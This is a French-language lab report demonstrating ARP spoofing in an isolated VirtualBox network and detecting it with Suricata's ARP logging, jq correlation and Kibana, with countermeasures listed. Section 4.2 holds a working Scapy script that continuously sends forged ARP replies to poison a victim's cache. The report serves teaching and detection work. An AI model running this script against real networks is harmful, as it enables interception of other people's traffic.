

1. Objectif

Démontrer une attaque d'usurpation ARP (ARP spoofing), brique de base d'une attaque Man-in-the-Middle, et évaluer la capacité de l'IDS à la détecter. Ce scénario met en évidence une limite des IDS à signatures : l'ARP opère en couche 2 et n'est couvert par aucune règle Emerging Threats. La détection repose donc sur la journalisation ARP de Suricata (introduite en version 8.0) et sur une corrélation d'anomalie IP ↔ MAC.

Ce scénario répond aussi à une objection classique : contrairement à un scan de ports (reconnaissance passive, aucune modification de la cible), l'ARP spoofing est une attaque active qui corrompt réellement l'état de la victime (sa table ARP).

2. Contexte technique

Élément	Valeur
Attaquant	Poste Windows — 192.168.56.1 (Scapy + Npcap, interface Host-Only « Ethernet 3 »)
Victime	VM IDS-Lab — 192.168.56.101 (Ubuntu 26.04, interface enp0s8)
Réseau	Réseau privé hôte VirtualBox 192.168.56.0/24 (isolé)
Capteur	Suricata 8.0.3, interfaces enp0s3 + enp0s8, HOME_NET = 192.168.56.0/24
Pipeline logs	Suricata → Filebeat → Elasticsearch → Kibana
Faux MAC injecté	00:11:22:33:44:55
MAC légitime de 192.168.56.1	0a:00:27:00:00:0b

3. Préparation du capteur — activer la journalisation ARP

Par défaut, Suricata ne journalise pas l'ARP : l'entrée existe dans eve-log mais avec enabled: no (volume d'événements élevé). Il faut l'activer explicitement dans /etc/suricata/suricata.yaml, section outputs > eve-log > types :

```
- arp:
  enabled: yes    # no par défaut — à activer
```

Puis tester la configuration et redémarrer :

```
sudo suricata -T -c /etc/suricata/suricata.yaml    # doit finir par "successfully loaded"
sudo systemctl restart suricata
```

4. Déroulement de l'attaque

4.1 État initial de la victime (photo « avant »)

```
ip neigh show | grep 192.168.56.1
# 192.168.56.1 dev enp0s8 lladdr 0a:00:27:00:00:0b REACHABLE
ping -c 3 192.168.56.1
# 3 packets transmitted, 3 received, 0% packet loss
```

```
madeo@IDS-Lab:~$ ping -c 3 192.168.56.1 && ip neigh show | grep 192
.168.56.1
PING 192.168.56.1 (192.168.56.1) 56(84) bytes of data.
64 bytes from 192.168.56.1: icmp_seq=1 ttl=128 time=0.652 ms
64 bytes from 192.168.56.1: icmp_seq=2 ttl=128 time=0.474 ms
64 bytes from 192.168.56.1: icmp_seq=3 ttl=128 time=0.567 ms

--- 192.168.56.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2068ms
rtt min/avg/max/mdev = 0.474/0.564/0.652/0.072 ms
192.168.56.1 dev enp0s8 lladdr 0a:00:27:00:00:0b REACHABLE
192.168.56.100 dev enp0s8 lladdr 08:00:27:e0:55:26 STALE
madeo@IDS-Lab:~$ |
```

Capture 1 — Table ARP saine (0a:00:27:00:00:0b) et ping fonctionnel

4.2 Lancement de l'usurpation (attaquant Windows)

Script Attaque Arp.py exécuté dans un PowerShell administrateur :

```
from scapy.all import *
import time

victime = "192.168.56.101" # VM IDS-Lab
passerelle = "192.168.56.1" # Windows (hôte-privé)
faux_mac = "00:11:22:33:44:55" # MAC falsifié

vmac = getmacbyip(victime)
pkt = Ether(dst=vmac)/ARP(op=2, pdst=victime, hwdst=vmac,
                          psrc=passerelle, hwsrc=faux_mac)
print(f"[+] Empoisonnement de {victime} : {passerelle} -> {faux_mac}")
while True:
    sendp(pkt, iface="Ethernet 3", verbose=0)
    time.sleep(2)
```

L'attaquant diffuse des réponses ARP non sollicitées (opcode: reply) affirmant que 192.168.56.1 correspond au MAC falsifié, ce qui corrompt le cache ARP de la victime.

```

PS C:\Users\USER\Desktop> cd "$env:USERPROFILE\Desktop"
>>
PS C:\Users\USER\Desktop> python "Attaque Arp.py"
[+] Empoisonnement de 192.168.56.101 : 192.168.56.1 -> 00:11:22:33:44:55
[+] Ctrl+C pour arreter et restaurer

```

Capture 2 — Script Scapy en cours d'exécution

4.3 État de la victime après attaque (photo « après »)

```

ip neigh show | grep 192.168.56.1
# 192.168.56.1 dev enp0s8 lladdr 00:11:22:33:44:55 REACHABLE

```

Le MAC associé à la passerelle est passé du MAC légitime au MAC falsifié : le cache ARP de la victime est corrompu.

```

madeo@IDS-Lab:~$ ip neigh show | grep 192.168.56.1
192.168.56.1 dev enp0s8 lladdr 00:11:22:33:44:55 REACHABLE
192.168.56.100 dev enp0s8 lladdr 08:00:27:e0:55:26 STALE
madeo@IDS-Lab:~$ |

```

Capture 3 — Table ARP empoisonnée (00:11:22:33:44:55)

5. Détection et analyse (côté capteur)

5.1 Volume d'événements ARP capturés

```

sudo grep -c -a '"event_type": "arp"' /var/log/suricata/eve.json
# 4534

```

5.2 Détail d'un événement falsifié

```

{"timestamp": "2026-10-01T22:00:18...", "in_iface": "enp0s8",
  "event_type": "arp", "pkt_src": "wire/pcap",
  "arp": {"opcode": "reply",
    "src_mac": "00:11:22:33:44:55", "src_ip": "192.168.56.1",
    "dest_mac": "08:00:27:b3:67:4e", "dest_ip": "192.168.56.101"}}

```

Lecture : une réponse ARP (opcode: reply) non sollicitée, prétendant que 192.168.56.1 est à 00:11:22:33:44:55, envoyée directement à la victime 192.168.56.101.

```
madeo@IDS-Lab:~$ sudo grep -a '"event_type":"arp"' /var/log/suricata
a/eve.json | tail -1
{"timestamp":"2026-10-01T22:00:18.630629+0000","in_iface":"enp0s8",
"event_type":"arp","pkt_src":"wire/pcap","arp":{"hw_type":"ethernet
","proto_type":"ipv4","opcode":"reply","src_mac":"00:11:22:33:44:55
","src_ip":"192.168.56.1","dest_mac":"08:00:27:b3:67:4e","dest_ip":
"192.168.56.101"}}
madeo@IDS-Lab:~$ |
```

Capture 4 — Événement ARP falsifié dans eve.json

5.3 L'anomalie caractéristique : une IP, deux MAC

```
sudo grep -a '"event_type":"arp"' /var/log/suricata/eve.json \
| jq -r '.arp | "\(.src_ip) -> \(.src_mac)"' | sort -u

192.168.56.1 -> 00:11:22:33:44:55 <-- MAC falsifié
192.168.56.1 -> 0a:00:27:00:00:0b <-- MAC légitime
192.168.56.100 -> 08:00:27:e0:55:26
192.168.56.101 -> 08:00:27:b3:67:4e
```

192.168.56.1 est revendiquée par deux adresses MAC distinctes : c'est la signature comportementale de l'ARP spoofing, absente des règles à signature.

```
madeo@IDS-Lab:~$ sudo grep -a '"event_type":"arp"' /var/log/suricata
a/eve.json | jq -r '.arp | "\(.src_ip) -> \(.src_mac)"' | sort -u
10.0.2.15 -> 08:00:27:67:9c:c2
10.0.2.2 -> 52:55:0a:00:02:02
10.0.2.3 -> 52:55:0a:00:02:03
192.168.56.1 -> 00:11:22:33:44:55
192.168.56.1 -> 0a:00:27:00:00:0b
192.168.56.100 -> 08:00:27:e0:55:26
192.168.56.101 -> 08:00:27:b3:67:4e
madeo@IDS-Lab:~$ |
```

Capture 5 — Anomalie : une IP, deux MAC (jq)

6. Visualisation dans Kibana

Les événements ARP sont ingérés par Filebeat (sous `suricata.eve.*`) mais n'apparaissent pas dans les tableaux de bord Suricata prêts à l'emploi (bâties autour des alertes). La preuve se construit via Discover + une table Lens.

Discover — data view filebeat-*, requête KQL : `suricata.eve.event_type : "arp"`. Table Lens : Rows = `suricata.eve.arp.src_ip` et `suricata.eve.arp.src_mac` ; Metric = Count of records.

IP source	MAC source	Nb paquets
192.168.56.1	00:11:22:33:44:55 (falsifié)	1 787
192.168.56.1	0a:00:27:00:00:0b (légitime)	6
10.0.2.15	08:00:27:67:9c:c2	34
192.168.56.101	08:00:27:b3:67:4e	25
192.168.56.100	08:00:27:e0:55:26	24

Le volume écrasant du MAC falsifié (1 787 contre 6) rend l'injection flagrante. Toutes les autres IP ne présentent qu'un seul MAC → trafic normal.

Top 5 values of suricata.eve.arp.src_ip	Top 5 values of suricata.eve.arp.src_mac	Count of records
192.168.56.1	00:11:22:33:44:55	1,787
192.168.56.1	0a:00:27:00:00:0b	6
10.0.2.15	08:00:27:67:9c:c2	34
192.168.56.101	08:00:27:b3:67:4e	25
192.168.56.100	08:00:27:e0:55:26	24
10.0.2.2	82:55:5a:00:02:02	18
Other	32:55:5a:00:02:02	18

Capture 6 — Table Kibana : 192.168.56.1 avec deux MAC

7. Contre-mesures

Mesure	Description
Entrées ARP statiques	Figurer l'association IP ↔ MAC des hôtes critiques (ip neigh add ... nud permanent).
Dynamic ARP Inspection (DAI)	Sur switch managé : valider les réponses ARP contre une table DHCP snooping.
Segmentation / port security	Limiter le domaine de broadcast et les MAC autorisés par port.
Surveillance continue	Journalisation ARP Suricata + alerte sur conflit IP ↔ MAC ; outil dédié arpwatch.
Chiffrement de bout en bout	Réduit l'impact d'une interception (TLS, SSH, VPN).

8. Conclusion

L'attaque d'usurpation ARP a corrompu avec succès le cache ARP de la victime (192.168.56.1 → 00:11:22:33:44:55). Le point clé est que l'IDS à signatures (règles ET) ne génère aucune alerte pour cette attaque de couche 2 : la détection n'a été possible qu'en activant la journalisation ARP de Suricata 8.0 (désactivée par défaut) puis en corrélant les associations IP ↔ MAC — 4 534 événements capturés, et une IP revendiquée par deux MAC. Ce scénario illustre la nécessité de combiner détection par signature et détection d'anomalie, et de couvrir les couches basses souvent négligées par les IDS réseau.